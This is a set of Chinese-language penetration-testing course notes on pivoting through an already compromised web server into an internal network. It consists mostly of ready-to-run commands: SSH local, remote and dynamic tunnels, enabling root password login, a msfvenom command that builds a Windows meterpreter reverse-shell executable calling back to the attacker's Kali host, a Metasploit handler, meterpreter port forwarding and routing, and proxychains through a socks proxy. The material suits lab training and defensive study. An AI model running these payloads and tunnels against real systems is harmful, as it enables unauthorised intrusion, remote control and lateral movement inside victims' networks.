以前的暗月课程自学笔记整理。
应用层隧道:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
传输层隧道:TCP隧道、UDP隧道
网络层隧道:ICMP隧道、IPV6隧道、GRE隧道
SSH隧道即SSH端口转发,在SSH客户端与SSH服务端之间建立一个隧道,将网络数据通过该隧道转发至指定端口,从而进行网络通信。SSH隧道自动提供了相应的加密及解密服务,保证了数据传输的安全性。
本地端口转发(也就是正向连接)、远程端口转发(就是反向连接)和动态端口转发(就是socks代理)。下面是一些常见参数说明:
常用参数 | 说明 |
---|---|
-f | 后台执行ssh指令 |
-C | 请求所有数据压缩传输,提高传输速度 |
-q | 安静模式. 消除所有的警告和诊断信息,就算出错也没有任何提示 |
-f | 重定向stdin 到 /dev/null |
-l | 指定用户名,就是@前面写的那个 |
-n | 重定向stdin 到 /dev/null 在后台运行时一定会用到这个选项 |
-N | 建立静默连接(建立了连接,但是看不到具体的会话) |
-g | 允许外界主机连接本地转发端口 |
-L | 表示本地端口转发 |
-R | 远程端口转发 |
-P | 指定ssh端口 |
-D | 指定一个本地机器,动态的应用程序端口转发(socks代理) |
-T | 禁止分配伪终端,当用ssh或telnet等登录系统时,系统分配给我们的终端就是伪终端。如果禁用则无法获得终端,但仍能够获得shell,只不过没有很多应有的环境变量,例如命令提示符,PS1等 |
情景设定:假如我们已经控制了主机1 也就是web服务器,现在想访问主机2 的数据服务器,但是主机1 和主机2 不互通 ,所以搭建SSH隧道。
简易网络拓扑说明:
解决办法:利用SSH隧道正向连接,将主机2的80端口映射到主机1的8888端口,然后让我们的kali能够访问数据服务器。
在主机1也就是web服务器上执行的命令:
# 语法
ssh –CNfg -L 监听ip:监听端口:远程主机ip:远程主机端口 用户名@跳板机ip port
ssh –CNfg -L 0.0.0.0:8888:10.10.10.11:80 [email protected]
kali访问http://192.168.8.251:8888即可成功访问主机2 的数据服务器
转发3389端口,需修改ssh服务器配置文件
/etc/ssh/sshd_config
– PermitRootLogin yes
– Port 22
– PasswordAuthentication yes
service ssh restart
# 在web服务器上执行的转发3389端口命令
web服务器监听的ip:web服务器监听的端口:数据服务器的ip:数据服务器的端口 web服务器的ssh用户名
@web服务器的ip 端口
ssh -CNfg -L 0.0.0.0:13389:10.10.10.11:3389 [email protected] -p 22
然后web服务器上使用rdesktop连接
rdesktop 127.0.0.1 13389
情景设定:假如我们已经控制了主机1 也就是web服务器,现在想访问主机2 的数据服务器,但是主机1 和主机2 不互通 ,所以搭建SSH隧道。
简易网络拓扑说明:
解决办法:利用SSH隧道反向连接,将web服务器自身的22端口映射到kali的2222端口上,然后让我们的kali能够访问数据服务器。
在web服务器上执行的命令
# 语法
ssh -qTfnN -R kali上的端口:web服务器ip:web服务器port kali上的ssh用户 @ kali的ip
# 需输入kali的SSH的密码
ssh -qTfnN -R 2222:127.0.0.1:22 [email protected]
kali上执行的命令
# 需输入web服务器的SSH密码
ssh -p 2222 [email protected]
# 转发3389端口
ssh -CNfg -R 13389:10.10.10.10:3389 [email protected]
kali上执行的命令
rdesktop 127.0.0.1 13389
情景如上,这次用socks代理的方式,需注意:ssh只支持socks4和socks5两种代理。
在web服务器上执行的命令
# -D参数工作原理就是在本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接,
# 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接
# 语法
ssh -qTfnN -D port remotehost
# 对应说明 kali的ssh用户名 kali的ip
ssh -qTfnN -D 25001 [email protected]
kali上需配置浏览器的代理
最后访问http://192.168.8.251:25001即可。
1)使用msf生成后门。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.8.250 lport=25002 -f exe >/var/www/html/shell.exe
2)kali监听对应端口,拿到shell。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.8.250
set lport 25002
run
1)情景设定如上所示,贴一个简易拓扑图,有益理解。
2)在meterpreter中执行命令映射端口,正向连接。之后访问kali本地25003端口即可。
在拿到shell的主机1中用msf执行以下命令
portfwd add -L 192.168.8.250 -l 25003 -p 80 -r 10.10.10.11
参数 | 说明 |
---|---|
-L | 要监听的本地主机 |
-l | 要监听的本地端口 |
-p | 连接到的远程端口 |
-r | 要连接到的远程主机 |
1)在拿到shell的主机1中用msf执行以下命令。
将主机1的3389端口转发到kali的25003端口
portfwd add -l 25003 -p 3389 -r 192.168.8.251
kali上执行的命令
rdesktop 127.1.1.0:25003 #即可成功连接3389,需输入账号密码
2)portfwd的其他命令。
命令 | 说明 |
---|---|
portfwd list | 查看列表 |
portfwd flush | 清空列表 |
run autoroute -s 192.168.52.0/24 #添加录路由
run autoroute -p #查看路由
route print #查看路由
设置 socks 代理,注意Socks 代理支持已被整合到单个辅助模块中了,默认版本是5可以使用tcp和udp的方式需设置账号密码,可切换版本。
background
use auxiliary/server/socks_proxy
set version 4a
set srvhost 192.168.231.133 #kali的ip不想更改默认也可以
set srvport 25002
run
去掉 # 打开 dynamic_chain,在最下方添加代理ip和端口,不想改可直接使用默认的。如果遇到proxychains.conf 文件为空的情况,可把proxychains4.conf 中的文件内容复制过来,或者直接把proxychains.conf 文件删除,把proxychains4.conf 文件命名为proxychains.conf。proxychains不要启用DNS代理,要把proxy_dns用#注释掉,否则nmap扫描时会报错。
vim /etc/proxychains.conf
测试是否能够访问内网ip,发现成功访问,配置成功。
proxychains curl http://192.168.52.143